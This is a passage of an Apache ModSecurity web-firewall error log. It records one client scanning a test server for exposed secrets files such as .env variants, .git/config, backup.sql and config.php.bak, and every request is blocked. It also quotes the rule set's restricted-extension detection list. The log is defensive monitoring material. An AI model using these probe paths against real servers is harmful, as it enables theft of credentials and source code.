&quot;/src/.env.save&quot;] [unique_id &quot;aGGEt6AIGT5SiqI9BxP-rwAAAAc&quot;]
[Sun Jun 29 20:23:51.811922 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.save&quot;] [unique_id &quot;aGGEt6AIGT5SiqI9BxP-rwAAAAc&quot;]
[Sun Jun 29 20:23:51.812114 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env.save&quot;] [unique_id &quot;aGGEt6AIGT5SiqI9BxP-rwAAAAc&quot;]
[Sun Jun 29 20:23:51.834116 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /src/.env~&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env~&quot;] [unique_id &quot;aGGEt6AIGT5SiqI9BxP-sAAAAAc&quot;]
[Sun Jun 29 20:23:51.834377 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env~&quot;] [unique_id &quot;aGGEt6AIGT5SiqI9BxP-sAAAAAc&quot;]
[Sun Jun 29 20:23:51.834561 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.env~&quot;] [unique_id &quot;aGGEt6AIGT5SiqI9BxP-sAAAAAc&quot;]
[Sun Jun 29 20:23:51.856354 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /src/.git/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.git/&quot;] [unique_id &quot;aGGEt6AIGT5SiqI9BxP-sQAAAAc&quot;]
[Sun Jun 29 20:23:51.856584 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.git/&quot;] [unique_id &quot;aGGEt6AIGT5SiqI9BxP-sQAAAAc&quot;]
[Sun Jun 29 20:23:51.856767 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.git/&quot;] [unique_id &quot;aGGEt6AIGT5SiqI9BxP-sQAAAAc&quot;]
[Sun Jun 29 20:23:51.878993 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /src/.git/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.git/HEAD&quot;] [unique_id &quot;aGGEt6AIGT5SiqI9BxP-sgAAAAc&quot;]
[Sun Jun 29 20:23:51.879227 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.git/HEAD&quot;] [unique_id &quot;aGGEt6AIGT5SiqI9BxP-sgAAAAc&quot;]
[Sun Jun 29 20:23:51.879421 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.git/HEAD&quot;] [unique_id &quot;aGGEt6AIGT5SiqI9BxP-sgAAAAc&quot;]
[Sun Jun 29 20:23:51.946217 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /src/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.git/config&quot;] [unique_id &quot;aGGEt6AIGT5SiqI9BxP-swAAAAc&quot;]
[Sun Jun 29 20:23:51.946479 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.git/config&quot;] [unique_id &quot;aGGEt6AIGT5SiqI9BxP-swAAAAc&quot;]
[Sun Jun 29 20:23:51.946691 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.git/config&quot;] [unique_id &quot;aGGEt6AIGT5SiqI9BxP-swAAAAc&quot;]
[Sun Jun 29 20:23:51.971234 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /src/.git/logs/head&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.git/logs/HEAD&quot;] [unique_id &quot;aGGEt6AIGT5SiqI9BxP-tAAAAAc&quot;]
[Sun Jun 29 20:23:51.971505 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.git/logs/HEAD&quot;] [unique_id &quot;aGGEt6AIGT5SiqI9BxP-tAAAAAc&quot;]
[Sun Jun 29 20:23:51.971686 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.git/logs/HEAD&quot;] [unique_id &quot;aGGEt6AIGT5SiqI9BxP-tAAAAAc&quot;]
[Sun Jun 29 20:23:52.070252 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Matched phrase &quot;/.gitignore&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.gitignore found within REQUEST_FILENAME: /src/.gitignore&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.gitignore&quot;] [unique_id &quot;aGGEuKAIGT5SiqI9BxP-tQAAAAc&quot;]
[Sun Jun 29 20:23:52.070537 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.gitignore&quot;] [unique_id &quot;aGGEuKAIGT5SiqI9BxP-tQAAAAc&quot;]
[Sun Jun 29 20:23:52.070742 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/.gitignore&quot;] [unique_id &quot;aGGEuKAIGT5SiqI9BxP-tQAAAAc&quot;]
[Sun Jun 29 20:23:56.969512 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/access.log&quot;] [unique_id &quot;aGGEvKAIGT5SiqI9BxP-tgAAAAc&quot;]
[Sun Jun 29 20:23:56.969888 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/access.log&quot;] [unique_id &quot;aGGEvKAIGT5SiqI9BxP-tgAAAAc&quot;]
[Sun Jun 29 20:23:56.970092 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/access.log&quot;] [unique_id &quot;aGGEvKAIGT5SiqI9BxP-tgAAAAc&quot;]
[Sun Jun 29 20:23:57.014775 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/app.js.bak&quot;] [unique_id &quot;aGGEvaAIGT5SiqI9BxP-uAAAAAc&quot;]
[Sun Jun 29 20:23:57.015125 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/app.js.bak&quot;] [unique_id &quot;aGGEvaAIGT5SiqI9BxP-uAAAAAc&quot;]
[Sun Jun 29 20:23:57.015310 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/app.js.bak&quot;] [unique_id &quot;aGGEvaAIGT5SiqI9BxP-uAAAAAc&quot;]
[Sun Jun 29 20:23:57.037096 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/backup.sql&quot;] [unique_id &quot;aGGEvaAIGT5SiqI9BxP-uQAAAAc&quot;]
[Sun Jun 29 20:23:57.037427 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/backup.sql&quot;] [unique_id &quot;aGGEvaAIGT5SiqI9BxP-uQAAAAc&quot;]
[Sun Jun 29 20:23:57.037603 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/backup.sql&quot;] [unique_id &quot;aGGEvaAIGT5SiqI9BxP-uQAAAAc&quot;]
[Sun Jun 29 20:23:57.183587 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/config.php.bak&quot;] [unique_id &quot;aGGEvaAIGT5SiqI9BxP-vwAAAAc&quot;]
[Sun Jun 29 20:23:57.183928 2025] [:error] [pid 3059541] [client 185.177.72.107:52274] [client 185.177.72.107] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/src/config.php.bak&quot;] [unique_id &quot;aGGEvaAIGT5SiqI9BxP-vwAAAAc&quot;]
